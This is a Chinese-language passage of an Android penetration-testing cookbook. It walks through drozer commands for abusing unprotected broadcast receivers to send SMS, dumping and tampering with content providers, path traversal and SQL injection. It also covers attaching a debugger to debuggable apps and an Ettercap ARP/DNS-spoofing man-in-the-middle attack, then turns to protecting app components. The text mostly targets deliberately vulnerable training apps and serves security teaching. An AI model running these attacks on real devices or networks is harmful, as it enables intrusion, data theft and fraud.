这并不是这类漏洞的全部;还有另一部分。仅仅因为接收器允许其他应用程序与其交互,并不意味着它一定可以被利用;要验证它是否可被利用,你实际上可以尝试执行本食谱后面讨论的一些命令,如果可能的话,阅读接收器的部分源代码。
以下是确定接收器如何处理org.owasp.goatdroid.fourgoats.SOCIAL_SMS
动作的代码:
public void onReceive(Context arg0, Intent arg1) {
context = arg0;
SmsManager sms = SmsManager.getDefault();
Bundle bundle = arg1.getExtras();
sms.sendTextMessage(bundle.getString("phoneNumber"), null,
bundle.getString("message"), null, null);
Utils.makeToast(context, Constants.TEXT_MESSAGE_SENT, Toast.LENGTH_LONG);
}
代码中的关键问题是接收器直接从bundle
对象中获取值,而没有首先检查调用应用程序或提供的值,并将其插入到sendTextMessage
调用中。这意味着任何应用程序都将能够发送任意的、不受控制的短信。
好的,那么这就是一个经典广播接收器漏洞的样子;让我们看看如何使用 drozer 实际利用这些漏洞。
如何做到这一点…
要向广播接收器发送意图,你可以执行以下命令:
dz> run app.broadcast.send –-action [ACTION] –-category [CATEGORY] –-component [PACKAGE COMPONENT] –data-uri [DATA_URI] –extra [TYPE KEY VALUE] –flags [FLAGS*] –mimetype [MIMETYPE]
例如,在本食谱的介绍部分,我们看到了一个可以接受电话号码和短信的接收器。要攻击该接收器,你会执行以下命令:
dz> run app.broadcast.send –-action org.owasp.goatdroid.fourgoats.SOCIAL_SMS –-component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver –-extra string phoneNumber 1234567890 –-extra string message PWNED
执行之前的命令将向电话号码1234567890
发送包含消息PWNED
的文本信息。
它是如何工作的…
在这个食谱中,我们滥用了保护org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceive
广播接收器的不足权限。这个组件缺乏权限保护,允许没有SEND_SMS
权限的攻击者实际发送短信。这种危险在于,恶意攻击者可以开发针对这个接收器的应用程序,向高级服务发送短信或从设备泄露信息。
实际上,许多安卓木马和基于安卓的恶意软件都利用这种模式从受害者那里窃取钱财;有数百个实际例子。关于其中一些的好资源,请参阅另请参阅部分。希望这能让你意识到,对于像这样的广播接收器来说,权限不足是多么危险。
另请参阅
-
丹尼斯·马斯拉尼科夫在 Securelist 撰写的文章《短信木马:全球范围内》(
www.securelist.com/en/blog/208193261/
) -
杰里米·克莱因和帕克·斯皮尔曼的《安卓木马项目》(
www.cs.wustl.edu/~jain/cse571-11/ftp/trojan/index.html
) -
蒂姆·怀亚特在 Lookout 撰写的文章《野生的第一个安卓短信木马》(
blog.lookout.com/blog/2010/08/10/security-alert-first-android-sms-trojan-found-in-the-wild/
)
枚举容易受到攻击的内容提供者
内容提供者通常包含大量有价值的信息,比如用户的电话号码或 Twitter 密码,你可能想要找出恶意攻击者是否有可能获取这些信息。确定内容提供者是否容易受到攻击的最佳方式,就是尝试自己对其进行攻击。
要对你能够攻击的内容提供者进行攻击,与许多应用程序级别的攻击一样,通常归结于向应用程序发送一个恶意意图。对于内容提供者来说,你的意图将通过它包含的 URI 字符串来精确指向目标,因为此 URI 标识了哪个内容提供者应该处理该意图。
那么问题来了——我们如何找出哪些 URI 可以使用?一个简单的解决方案就是猜测它们,但这可能需要很长时间!drozer 有一个名为app.provider.info
的模块,可以为你解决这个问题。
本文档详细介绍了几个你可以用来查找可能容易受到攻击的内容提供者的 drozer 模块。
如何操作…
要找到一些很可能容易受到攻击的内容提供者,你需要执行以下操作:
-
使用 drozer 查找不需要权限的内容提供者非常容易;你只需要在 drozer 控制台中执行以下命令:
dz> run app.provider.info –-permission null
前面的命令列出了所有不需要任何读写权限的内容提供者。
-
一旦找到合适的内容提供者,你可能想要枚举它具有权限的 URI;你可以使用以下命令来完成这个操作:
dz> run app.provider.finduri [package]
在前面的命令中,
[package]
是你想要提取信息包的完整名称。 -
下面的命令是一个你可以尝试的示例:
dz> run app.provider.finduri com.android.providers.downloads
所以你刚才所做的就是找到了一个可能的入口点,该入口点可以访问给定包在内容提供者中保存的数据。下一个食谱将讨论如何提取这些数据。
它是如何工作的…
.finduri
模块非常直接;它实际上使用了一种非常“狡猾”的方法来枚举可能的内容 URI。它基本上是打开应用程序的 DEX
文件,并扫描未解析的文件,寻找类似于有效内容 URI 格式的字符串字面量。之所以这样做非常有效,是因为应用程序开发人员通常将这些作为静态字符串保存在应用程序的源代码中。以下是 Python 脚本的实际源代码。它来自 github.com/mwrlabs/drozer/blob/master/src/drozer/modules/common/provider.py
。
def findContentUris(self, package):
self.deleteFile("/".join([self.cacheDir(), "classes.dex"]))
content_uris = []
for path in self.packageManager().getSourcePaths(package):
// This is where the script requests the application path from the
// package manager, which will determine where the actual .apk file
// is stored.
strings = []
if ".apk" in path:
dex_file = self.extractFromZip("classes.dex", path,self.cacheDir())
// In this line you can see the script extract the "classes.dex"
// file from the .apk file
if dex_file != None:
strings = self.getStrings(dex_file.getAbsolutePath())
dex_file.delete()
# look for an odex file too, because some system packages do not
# list these in sourceDir
strings += self.getStrings(path.replace(".apk",".odex"))
elif (".odex" in path):
strings = self.getStrings(path)
content_uris.append((path, filter(lambda s: ("CONTENT://"in s.upper()) and ("CONTENT://" != s.upper()), strings)))
// In this you can see the script actually search for the literal //"CONTENT://" or "content://" in the extracted .dex file.
return content_uris
另请参阅
-
drozer 主仓库 – Provider.py (
github.com/mwrlabs/drozer/blob/master/src/drozer/modules/app/provider.py
) -
drozer 主模块 – Common/Provider.py (
github.com/mwrlabs/drozer/blob/master/src/drozer/modules/common/provider.py
) -
安卓开发者 – URI 权限 (
developer.android.com/guide/topics/security/permissions.html#uri
) -
CVE-2013-231 – MovatwiTouch 内容提供者漏洞 (
web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2318&cid=3
) -
Marakana – 安卓内容提供者教程 (
marakana.com/s/post/1375/android_content_provider_tutorial
)
从易受攻击的内容提供者中提取数据
如果某些内容提供者的 URI 不需要读取权限,或者将GrantURI设置为true
,你可能可以使用一些 drozer 工具从中提取数据。在某些情况下,读取/写入权限的发放和执行方式也会将内容提供者的数据暴露给攻击。
本指南将介绍一些简单技巧,你可以用它们来了解提供者中存储的信息类型。本指南接着上一条,并假定你已经枚举了一些内容 URI,并确定与之交互和查询相关 URI 时不需要任何或权限不足。
如何操作…
找到一个 URI 后,你可以使用前一个指南中详细描述的命令进行查询,具体为:
run app.provider.info –-permission null
run app.provider.finduri [package]
前面的命令会为你提供一些相当有用的目标 URI;然后你可以执行以下命令来提取一些数据:
dz> run app.provider.query [URI]
以下是一个简单示例;关于许多与内容提供者相关的脚本,drozer 帮助文档都使用这个例子:
dz> run app.provider.query content://settings/secure
下面是一个易受攻击的内容提供者的示例。在这个例子中,攻击者使用了 drozer 提取的关于用户银行交易的信息;请参阅以下屏幕截图以查看查询命令的输出:
某些内容提供者支持查询文件,尤其是那些文件管理器类型的程序。如果内容提供者没有限制应用程序允许读取的文件类型和路径,这意味着攻击者可能能够执行路径遍历,访问内容提供者实际意图提供的文件之外的目录,或者在许多情况下,允许攻击者从受害者设备上的敏感目录中提取文件。要提取文件,你可以使用以下命令:
dz> run app.provider.download [URI]
在前面的命令中,URI
是你希望从内容提供者那里提取的文件的 URI。如果在处理这类查询的内容提供者实际实现部分没有进行输入保护或过滤,你可以注入文件路径并利用这种缺乏保护来枚举设备文件系统中其他区域的文件及其内容;你可以通过尝试不同的文件路径来实现,如下所示:
dz> run app.provider.download content://[valid-URI]/../../[other file path] [local-path]
在前面的命令中,[valid-URI]
是脆弱的内容提供者有权处理或已注册处理的 URI,[other file path]
是你希望提取的文件的路径,[local-path]
是你希望这个文件被 “下载” 的文件路径。以下是一个示例:
dz> run app.provider.download content://vulnerabledatabase/../../../system/etc/hosts /tmp/hostsFileExtracted.txt
对于那些有黑客攻击/审计 Web 应用程序经验的人来说,这类似于 Web 应用程序中的路径遍历和本地文件包含漏洞。它也使 Android 应用面临许多相同的风险。这种漏洞的一些实际示例已经针对一些非常流行的应用程序报告;有关示例,请参阅食谱的 另请参阅… 部分。
如果你的内容提供者使用 PATTERN_LITERAL
匹配类型设置路径级别的权限,那么 Android 权限框架只有在请求的路径与你的路径完全匹配时才会执行检查以保护你的内容提供者!以下是一个示例的屏幕截图:
当前示例来自 MWR 实验室的 Sieve Android 应用,该应用内置了一些漏洞;有关下载页面的链接,请参阅 另请参阅 部分。
在前面的屏幕截图中,我们可以看到这个应用使用 PATTERN_LITERAL
类型的匹配来保护 Keys
路径,这意味着如果我们尝试使用 drozer 进行查询,结果将如下所示:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys
下面的屏幕截图显示了之前命令的输出:
前面的屏幕截图显示了由于 drozer 没有与提供者交互所需的权限而导致的权限拒绝。但是,如果我们简单地在路径后加上/
,它仍然有效,结果如下:
run app.provider.query content://com.mwr.example.siever.DBContentProvider/Keys/
下面的屏幕截图显示了前面命令的输出:
路径中添加了一个正斜杠,因此PATTERN_LITERAL
检查未能找到content://com.mwr.example.sieve.DBConentProvider/Keys
路径,而是找到了content://com.mwr.example.sieve.DBConentProvider/Keys/
路径。这意味着查询内容提供者的应用程序将需要/Keys/
路径的权限,该路径未定义,因此不需要权限,这使得查询能够顺利解决。在之前的屏幕截图中,我们可以看到在这种情况下,恶意应用程序能够提取用户针对 Sieve 密码管理应用程序的登录 PIN 码详情。
另请参阅
-
《Shazam (Android)应用程序上的路径遍历漏洞》文章(
blog.seguesec.com/2012/09/path-traversal-vulnerability-on-shazam-android-application/
) -
《Adobe Reader (Android)应用程序上的路径遍历漏洞》文章(
blog.seguesec.com/2012/09/path-traversal-vulnerability-on-adobe-reader-android-application/
) -
《WinZip for Android 内容处理目录遍历漏洞》文章(
vuln.sg/winzip101-en.html
) -
在 CVE Details 上的 Android 2.3.4 浏览器本地文件包含漏洞;CVE-2010-4804 (
www.cvedetails.com/cve/CVE-2010-4804/
) -
drozer Sieve – 一个展示了一些常见 Android 漏洞的密码管理应用(
www.mwrinfosecurity.com/system/assets/380/original/sieve.apk
)
向内容提供者中插入数据
与任何以数据库为中心的应用程序一样,内容提供者也可能具备向其 SQLite 数据库或文件存储中插入数据的能力;如果任何内容提供者没有使用适当的写入权限来限制此功能,攻击者可能会恶意地向 SQLite 数据库中插入数据。本教程将讨论如何执行此类攻击;在下一章中,我们将查看导致这些漏洞的实际代码,并讨论一些补救措施。
如何操作…
在我们向内容提供者插入数据之前,我们需要了解数据库的架构或列设置是什么样的;您可以使用以下命令从您的 drozer 控制台枚举此信息:
dz> run app.provider.columns [URI]
在前面的命令中[URI]
是你希望了解的 URI。例如,如果你想针对 Sieve 运行它,你会执行以下命令:
dz> run app.provider.columns content://com.mwr.example.seive.DBContentProvider/Passwords
前面的命令将产生如下截图所示的输出:
枚举数据库列之所以有用,是因为它可能有助于你针对内容提供者构建未来的攻击;你可能需要了解一些关于模式的信息,以便知道你可能感兴趣从中提取和插入的列和行。
当你了解了数据库的结构以及可能需要哪些列名以便正确构建查询时,你可以使用以下命令将数据插入内容提供者:
dz> run app.provider.insert [URI] [--boolean [name] [value]] [--integer [name] [value]] [--string [name] [value]]...
在前面的命令中,[URI]
是指向相关数据库的 URI,而 --boolean
、--integer
和 --string
是你应该提供的标志,以将给定的数据片段标记为给定的数据类型。此模块支持以下数据类型:
--boolean –-double –-float –-integer –-long –-string –short
每个都需要[name]
值,这表示列名,以及[value]
,表示你希望插入的实际值。
下面的代码是一个示例:
dz> run app.provider.insert –-int _id 12 –-int from_account 31337 –-int to_account –-int amount 31337 content://com.example.vulnerabledatabase.contentprovider/statements
下面的例子是虚构的。content://com.example.vulnerabledatabase.contentprovider/statement
URI 在你的设备上可能不存在,除非你已经明确开发了一些处理它的应用。
下面是针对 Sieve 的工作示例:
dz> run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords –-int _id 3 –-string username injected –-string service injected –-string password woopwoop –-string email myspam@gmail.com
当你查询 Sieve 的密码 URI 并执行之前的命令后,将返回以下数据:
我们可以清楚地看到,对于 _id 3 的数据,我们刚刚注入的数据实际上出现在数据库中。这意味着我们刚刚成功用一些伪造数据破坏了 Passwords 数据库中的数据。在实际情况下,这可能允许攻击者更改用户的密码或删除它们,从而拒绝用户访问相关账户;更具体地说,在像 Sieve 这样的密码管理应用(这里仅作为示例)中,攻击者能够阻止用户访问他们存储的密码,甚至可能是他们的 Gmail、Twitter 或 LinkedIn 账户。
关于示例的一个小注:我们注入密码字符串 woopwoop
仅作为标记,以确保我们可以注入密码数据——它只是一个很容易识别的字符串;如果你要测试这个密码,它可能不会起作用。实际上,要注入一个有效的密码,你需要注入密码的 base64 编码值。
枚举 SQL 注入漏洞的内容提供者
与网络应用一样,Android 应用可能会使用不可信的输入来构建 SQL 查询,并以可被利用的方式进行。最常见的情况是应用没有对任何 SQL 输入进行清理,也没有限制对内容提供者的访问。
你为什么要阻止 SQL 注入攻击?嗯,假设你处于一种经典情况,通过查询数据库来为用户提供授权。代码可能类似于以下这样:
public boolean isValidUser(){
u_username = EditText( some user value );
u_password = EditText( some user value );
//some un-important code here...
String query = "select * from users_table where username = '" + u_username + "' and password = '" + u_password +"'";
SQLiteDatabase db
//some un-important code here...
Cursor c = db.rawQuery( p_query, null );
return c.getCount() != 0;
}
occurs more often in real-world applications. So when auditing Android code for injection vulnerabilities, a good idea would be to look for something that resembles the following:
public Cursor query(Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder) {
SQLiteDBHelper sdbh = new StatementDBHelper(this.getContext());
Cursor cursor;
try {
//some code has been omitted
cursor = sdbh.query(projection,selection,selectionArgs,sortOrder);
} finally {
sdbh.close();
}
return cursor;
}
在前面的代码中,projection
、selection
、selectionArgs
或 sortOrder
变量都没有直接来自外部应用程序。如果内容提供者被导出并授予 URI 权限,或者如我们之前所见,不需要任何权限,这意味着攻击者将能够注入任意的 SQL 来增强恶意查询的评估方式。
让我们看看实际上是如何使用 drozer 攻击易受 SQL 注入攻击的内容提供者的。
如何操作…
在这个教程中,我将讨论两种 SQL 注入漏洞:一种是 SQL 语句的选择子句可注入,另一种是投影可注入。使用 drozer,查找可注入选择子句的内容提供者非常容易:
dz> run app.provider.query [URI] –-selection "1=1"
前文提到的方法将尝试向由内容提供者解析的 SQL 语句中注入所谓的逻辑恒真式,最终由数据库查询解析器处理。由于这里使用的模块的性质,你可以判断它是否真的起作用了,因为它应该返回数据库中的所有数据;也就是说,选择子句的条件被应用于每一行,并且因为它总是返回真,所以每一行都会被返回!
你还可以尝试任何总是为真的值:
dz> run app.provider.query [URI] –-selection "1-1=0"
dz> run app.provider.query [URI] –-selection "0=0"
dz> run app.provider.query [URI] –-selection "(1+random())*10 > 1"
下面是一个故意使用易受攻击的内容提供者的例子:
dz> run app.provider.query content://com.example.vulnerabledatabase.contentprovider/statements –-selection "1=1"
它返回了被查询的整个表,如下面的截图所示:
当然,你也可以在 SELECT
语句的投影部分注入,即语句中 FROM
之前的部分,即 SELECT [投影] FROM [表] WHERE [选择子句]
。
另请参阅
利用可调试的应用程序
应用程序可以被标记为可调试,以便在进行功能测试和错误跟踪时,允许你在应用程序执行过程中设置断点,从而大大简化这些操作。为此,可以在应用程序在设备上运行时查看虚拟机堆栈并挂起或恢复线程。
不幸的是,谷歌应用商店上的一些应用程序仍然被标记为可调试。这不一定总是世界末日,但如果应用程序希望保护任何认证数据、密码地址或存储在应用程序内存中的任何值,被标记为可调试意味着攻击者可以非常容易地获取这些数据。
本文档讨论了如何从一个可调试的应用程序中泄露变量值。攻击者也可能能够通过应用程序触发远程代码执行,并在应用程序的上下文中运行一些代码。
这里使用的例子是安卓版的华尔街日报应用,在撰写本文时,它是谷歌 Play 商店中作为可调试应用程序发布的应用之一。
如何操作…
你需要做的第一件事是确定应用程序是否可调试。这相当简单,因为一个应用程序是否可调试直接取决于其应用程序清单。在 Android 应用程序清单的应用元素中的debuggable
字段。要枚举和利用可调试的应用程序,你需要执行以下步骤:
-
要检查一个应用程序是否可调试,你可以提取清单文件,或者从你的 drozer 控制台执行以下命令:
dz> run app.package.debuggable
这将列出所有设置为可调试的包,并显示它们被授予的权限。以下截图显示了一个包列表:
你可能会问自己,像这样的简单漏洞在现实世界中真的存在吗?嗯,是的,实际上仍然存在!以下截图显示了一个相对知名的应用程序,它被发布到谷歌 Play 市场时是可调试的:
本例显示
.debuggable
模块的输出,表明华尔街日报阅读器应用是可调试的。 -
一旦你确定了一个好的目标,你应该使用如下命令来启动它:
dz> run app.activity.start –-component com.example.readmycontacts com.example.readmycontacts.MainActivity
-
一旦运行起来,你可以使用 ADB 获取为该虚拟机实例打开的 Java 调试协议端口;以下是操作方法:
adb jdwp
你应该会看到如下内容:
-
ADB 返回的数字是你可以用来连接到虚拟机的端口,但在你的机器上这样做之前,你需要通过
adb
转发这个端口;以下是操作方法:adb forward tcp:[localport] jdwp:[jdwp port on device]
对于截图中给出的例子,你需要执行以下命令来转发端口:
-
现在你可以从你的机器上访问运行这个应用的虚拟机。从这一点开始,你可以依赖 Java 调试器连接到虚拟机;你可以通过运行以下命令来实现:
jdb –attach localhost:[PORT]
你将使用的
[PORT]
端口是上一步转发的端口;在这个例子中,那将是31337
。通过jdb
连接的操作如下:jdb –attach localhost:31337
下面的截图显示了前面命令的输出:
-
然后,你将连接到在 Android 设备上运行这个应用虚拟机;然后你可以执行诸如提取与应用程序编译的类信息等操作;这是通过在
jdb
会话中执行以下命令完成的:classes
这将产生类似于以下的输出:
-
你还可以通过执行以下命令枚举每个类的方法:
> methods [class-path]
在前面的命令中,
[class-path]
是你想要了解的类的完整类路径。 -
以下截图演示了针对名为
com.example.readmycontacts
的应用程序包执行前一个命令的情况。这里我们正在提取有关.MainActivity
类的信息,这是调用启动活动的类。 -
你甚至可以进一步深入,列出给定类的“字段”或类属性名称和值;这是通过在 JDB 内部执行以下命令来完成的:
> fields [class name ]
例如:
> fields com.example.readmycontacts.MainActivity
作为一名 Android 应用程序黑客,你为什么会对从类文件中的字段读取值感兴趣?因为开发人员可能会经常将敏感信息显式地存储在类文件中,而不是从云端获取;因此你可以期待在类的字段中保存诸如密码、API 令牌、单点登录令牌、默认用户名以及通常用于身份验证或其他敏感操作的数据。
对于某些 Android 操作系统,特别是任何未打补丁的 Gingerbread 设备及更低版本。这个漏洞可能意味着恶意应用程序能够在另一个应用程序的上下文中执行任意命令。为什么只有 Gingerbread 及更低版本?因为在 Dalvik 虚拟机更新到 Gingerbread 之前,Dalvik 导致可调试的应用程序即使在没有运行 ADB 的情况下也会尝试连接到 Java 调试线协议端口;这意味着能够在目标设备上打开网络套接字的恶意应用程序能够接受来自可调试应用程序的连接,并且因为 Java 调试的工作方式,能够执行任意代码。有关此行为的更多详细信息,请访问Android 市场中的可调试应用程序文章中的链接,以及不同版本的 Dalvik 虚拟机代码的链接。
你还可以使用 Java 调试器做更多的事情;对于那些想了解更多关于它的信息的读者,我在另请参阅部分包含了一些有用的链接。
另请参阅
-
位于 MWRLabs 的Android Market 中的可调试应用文章(
labs.mwrinfosecurity.com/blog/2011/07/07/debuggable-apps-in-android-market/
) -
Saurik 撰写的*利用(及修复)Android “Master Key”*文章,位于
www.saurik.com/id/17
-
位于
www.packtpub.com/article/debugging-java-programs-using-jdb
的使用 JDB 调试 Java 程序文章 -
JdwpAdb.c – Kitkat 版本,Android 源代码仓库(
android.googlesource.com/platform/dalvik/+/kitkat-release/vm/jdwp/JdwpAdb.cpp
) -
JdwpAdb.c – Éclair Passion 版本,Android 源代码仓库(
android.googlesource.com/platform/dalvik/+/eclair-passion-release/vm/jdwp/JdwpAdb.c
) -
JdwpAdb.c – Gingerbread 版本,Android 源代码仓库(
android.googlesource.com/platform/dalvik/+/gingerbread-release/vm/jdwp/JdwpAdb.c
)
应用程序中的中间人攻击
手机用户经常在咖啡店、图书馆以及任何可用之处通过公共 Wi-Fi 网络访问互联网。不幸的是,由于某些应用程序的开发方式,它们仍然可能成为中间人(MITM)攻击的受害者。对于那些不了解 MITM 攻击的人来说,它们本质上是一种允许攻击者截取你与网络设备通信的攻击;如果你想在非移动环境中了解这些攻击的危险性和技术细节,请查看另请参阅部分的一些链接。
为什么我们应该关注手机上的中间人攻击(MITM)呢?因为,如果不受信任的渠道到网络资源的信任度很高,攻击者可能会做任何事情,从对你的设备上运行的应用程序进行指纹识别,到详细记录你曾经到过的每一个地方,你大概的居住和工作地点,甚至可能控制你手机上的某些应用程序,如果手机安全性不高或可以被 root,甚至可能控制整部手机。一些非常流行的应用程序中存在实际的安全漏洞,这些漏洞可能被中间人攻击所利用;查看另请参阅部分中的链接了解其中一些。
本指南展示了如何在 Android 手机上执行 MITM 攻击,以及一种在 MITM 攻击期间可能使用的简单漏洞利用,即 DNS 投毒。
这里有一个小警告,即执行 MITM 攻击所使用的 Ettercap 工具并没有官方提供任何 Windows 支持版本。不过,如果你没有 Ubuntu 或 Debian Linux 机器,你可以设置一个,只需下载 Ubuntu 的 CD/DVD 镜像并在 Oracle 的 Virtualbox 或 VMware 中使用虚拟机运行。要了解如何安装虚拟机,请查看 第三章 Android Security Assessment Tools 中 安装和设置 Santuko 食谱的 还有更多… 部分。如果你真的想在 Windows 机器上使用 Ettercap,你可以查看 另请参阅 部分中非官方 Windows 二进制文件的下载链接。
准备就绪
为了让整个过程变得更简单,我将向大家展示如何下载一个让 MITM 攻击变得非常简单的工具。你可以使用以下命令下载 Ettercap:
sudo aptitude install ettercap-graphical
下面的截图显示了前面命令的输出:
下载并设置后,你就可以开始 MITM 攻击了。
如何操作…
让我们按照以下步骤开始:
-
在我们开始设置 MITM 攻击之前,你需要为 Ettercap 设置 DNS 欺骗插件;你需要做的唯一一件事就是为保存在 Linux 机器上的
/usr/share/ettercap/etter.dns
的 Ettercap DNS 配置脚本添加一些有用的地址。etter.dns
文件应该看起来像下面这样:编辑这个文件后,它应该看起来像下面这样:
地址
192.168.10.102
应该替换成你的机器的互联网地址,因为你想使用你的机器来欺骗 DNS 服务器,这意味着你的机器将充当 DNS 服务器。 -
一旦 DNS 插件设置正确,你可以通过从终端或命令提示符执行以下命令来启动 MITM 攻击:
ettercap –T –I [interface] –M ARP:remote –P dns_spoof /[address of target] /[address of gateway]/
在前面的命令中,
[interface]
是你用来连接网络的网络接口,可能是以太网或无线接口。[address of target] 是你的安卓设备的互联网地址;你可以在安卓手机的 设置 | Wi-Fi | [网络名称] | IP 地址 下找到这个地址。[address of gateway] 是这个网络的默认网关的互联网地址。这种攻击利用 地址解析协议 (ARP) 缺乏认证的弱点,让你的手机误认为你攻击的机器就是实际的网关。 -
例如,如果你的网关 IP 地址是
192.168.10.1
而你的安卓设备 IP 是192.168.10.106
,以下是设置 MITM 攻击的方法:sudo ettercap –T –i wlan0 –M ARP:remote –P dns_spoof /192.168.10.1/ /192.168.10.106/
你可以互换最后两个地址;只要它们都在,顺序无关紧要。执行这个命令后,你应该能在终端上看到以下内容出现:
-
一段时间后,你应该能看到类似以下截图的内容,这是由 Ettercap 记录的流量:
-
一旦你开始使用这个“中毒”的网络启动一些应用程序,你就能在攻击者机器上看到一些奇怪的事情发生;例如,你将能够看到你的安卓应用程序发送的 DNS 请求;以下截图显示了 Flipboard 应用程序发送的 DNS 请求:
这个输出是由 Wireshark 生成的。
-
如果你的机器上配置了一个网页服务器,你可以通过伪装成 LinkedIn 和 Google 等网站,向你的安卓手机提供一些内容;以下是演示这一点的截图:
这里还有一个例子;以下截图显示了被拦截的www.google.com的请求:
显然,这些不是 LinkedIn 和 Google 的网页;实际上,这里返回的页面是从本地机器到网络的。这可能是一个非常平凡的演示,但它涵盖了攻击的难点部分,即建立 MITM(中间人攻击)上下文,攻击者能够控制应用程序向互联网发出的响应。
在建立了 MITM 上下文之后,你可以利用移动浏览器,使用诸如 Metasploit 及其browser_autopwn
模块之类的东西,或者使用一些社交工程工具来镜像这些网站——社会工程工具包在这方面非常出色。有关这些优秀工具的信息链接,请参阅另请参阅部分。
除了普通的 MITM 攻击之外,还有一些特定于 Android 的 MITM 攻击类别,即针对那些使用未加密的addJavaScriptInterface
WebKit 和相关 API 调用的应用程序。关于这个漏洞的更多信息,请参阅Android WebView 的冒险文章和Android 系统中的 WebView 攻击的链接,在另请参阅部分。
另请参阅
-
Tongbo Luo, Hao Hao, Wenliang Yifei Wang 和 Heng Yin 的Android 系统中的 WebView 攻击论文(
www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf
) -
MWR InfoSecurity 的WebView addJavaScriptInterface 远程代码执行论文(
labs.mwrinfosecurity.com/system/assets/563/original/mwri_webview-addjavascriptinterface-code-execution_2013-09-23.pdf
) -
MWR 实验室的《Android WebViews 的冒险之旅》文章 (
labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/
) -
Ettercap 的 Windows 二进制文件 (
sourceforge.net/projects/ettercap/files/unofficial%20binaries/windows/
) -
Ettercap 的官方网站 (
ettercap.github.io/ettercap/index.html
) -
Penetration Testing Lab 的《Metasploit 浏览器 Autopwn》文章 (
pentestlab.wordpress.com/2012/04/23/metasploit-browser-autopwn/
) -
Cain 和 Abel 的官方网站 (
www.oxid.it/cain.html
) -
以太网地址解析协议,互联网标准 STD 37 (
tools.ietf.org/html/rfc826
)
第五章:保护应用
在本章中,我们将介绍以下技巧:
-
保护应用组件
-
使用自定义权限保护组件
-
保护内容提供者路径
-
防范 SQL 注入攻击
-
应用签名验证(防篡改)
-
通过检测安装程序、模拟器和调试标志来实现篡改保护
-
使用 ProGuard 移除所有日志消息
-
使用 DexGuard 进行高级代码混淆
引言
到目前为止,我们已经了解了如何建立和自定义一个环境,以便发现并利用 Android 应用中的漏洞。在本章中,我们将讨论几种保护技术,使逆向工程师和攻击者更难以进行操作。
开发应用时常见的错误之一是不小心暴露了应用组件。我们将重点关注如何防止组件被暴露并可供其他应用访问。如果需要共享数据,我们还将了解如何通过自定义权限限制访问。
入侵或篡改检测是所有优秀防御系统的基石,为此,我们将尝试检测是否正在发生攻击,以及我们的应用是否在受威胁的状态下运行。
在本章的最后,我们将介绍两个让逆向工程师工作更加困难的技巧。我们将了解如何使用代码混淆以及自定义 ProGuard 配置,从应用中移除所有日志消息并隐藏敏感的 API 调用。
网络传输过程中数据保护的主题在第七章,安全网络中进行讨论,而如何通过加密保护静止数据的安全将在第九章,加密与开发设备管理策略中进行介绍。
保护应用组件
应用组件可以通过正确使用AndroidManifest.xml
文件以及在代码层面强制进行权限检查来得到保护。这两个应用安全因素使得权限框架相当灵活,并允许你以非常细致的方式限制访问你组件的应用数量。
你可以采取许多措施来锁定对组件的访问,但在做任何事情之前,你应该确保你了解组件的目的,为什么需要保护它,以及如果恶意应用开始向你的应用发送意图并访问其数据,用户将面临哪些风险。这被称为基于风险的安全方法,建议你在配置AndroidManifest.xml
文件并为你的应用添加权限检查之前,首先诚实回答这些问题。
在这个技巧中,我详细列出了一些你可以采取的措施来保护通用组件,无论它们是活动、广播接收器、内容提供者还是服务。
如何操作…
首先,我们需要审查你的 Android 应用程序AndroidManifest.xml
文件。android:exported
属性定义了一个组件是否可以被其他应用程序调用。如果你的应用程序组件不需要被其他应用程序调用,或者需要显式地防止与 Android 系统其他部分的组件交互—除了应用程序内部的组件—你应在应用组件的 XML 元素中添加以下属性:
<[component name] android:exported="false">
</[component name]>
在这里,[组件名称]
可以是活动、提供者、服务或接收器。
它的工作原理…
通过AndroidManifest.xml
文件执行权限意味着对不同应用组件类型有不同的含义。这是因为可以用来与它们交互的不同的进程间通信(IPC)机制。对于每个应用组件,android:permission
属性执行以下操作:
-
活动: 限制可以成功调用
startActivity
或startActivityForResult
的外部应用组件为具有所需权限的组件 -
服务: 限制可以绑定(通过调用
bindService()
)或启动(通过调用startService()
)服务的的外部应用组件为具有指定权限的组件 -
接收器: 限制具有指定权限的外部应用组件向接收器发送广播意图的数量
-
提供者: 限制对通过内容提供者可访问的数据的访问
每个组件 XML 元素的android:permission
属性会覆盖<application>
元素的android:permission
属性。这意味着,如果你没有为你的组件指定任何所需的权限,并且在<application>
元素中指定了一个,它将适用于其中包含的所有组件。尽管通过<application>
元素指定权限并不是开发者经常做的事情,因为这样做会影响组件对 Android 系统本身的友好性(也就是说,如果你使用<application>
元素覆盖了一个活动的所需权限),主屏幕启动器将无法启动你的活动。话虽如此,如果你足够谨慎,不需要任何未经授权的交互发生在你的应用程序或其组件上,你应该使用<application>
标签的android:permission
属性。
提示
当你在组件上定义 <intent-filter>
元素时,除非你明确设置 exported="false"
,否则它将被自动导出。然而,这似乎是一个鲜为人知的事实,因为许多开发者在无意中将自己的内容提供者开放给其他应用程序。因此,谷歌通过在 Android 4.2 中更改 <provider>
的默认行为作出了回应。如果你将 android:minSdkVersion
或 android:targetSdkVersion
设置为 17
,则 <provider>
上的 exported
属性将默认为 false
。
另请参阅
-
在Android 开发者参考资料中的
<service>
标签 -
在Android 开发者参考资料中的
<receiver>
标签 -
在Android 开发者参考资料中的
<activity>
标签 -
在Android 开发者参考资料中的
<application>
标签 -
在Android 开发者参考资料中的
AndroidManifest.xml
文件 -
在Android 开发者参考资料中的
Context
类 -
在Android 开发者参考资料中的
Activity
类
使用自定义权限保护组件
Android 平台定义了一套默认权限,用于保护系统服务和应用程序组件。在很大程度上,这些权限在大多数通用情况下是有效的,但是当在应用程序之间共享定制功能或组件时,通常需要更具体地使用权限框架。这可以通过定义自定义权限来实现。
本教程展示了如何定义你自己的自定义权限。
如何操作…
让我们开始吧!
-
在添加任何自定义权限之前,你需要为权限标签声明字符串资源。你可以通过编辑你的应用程序项目文件夹下的
res/values/strings.xml
文件来实现这一点:<string name="custom_permission_label">Custom Permission</string>.
-
通过向你的
AndroidManifest.xml
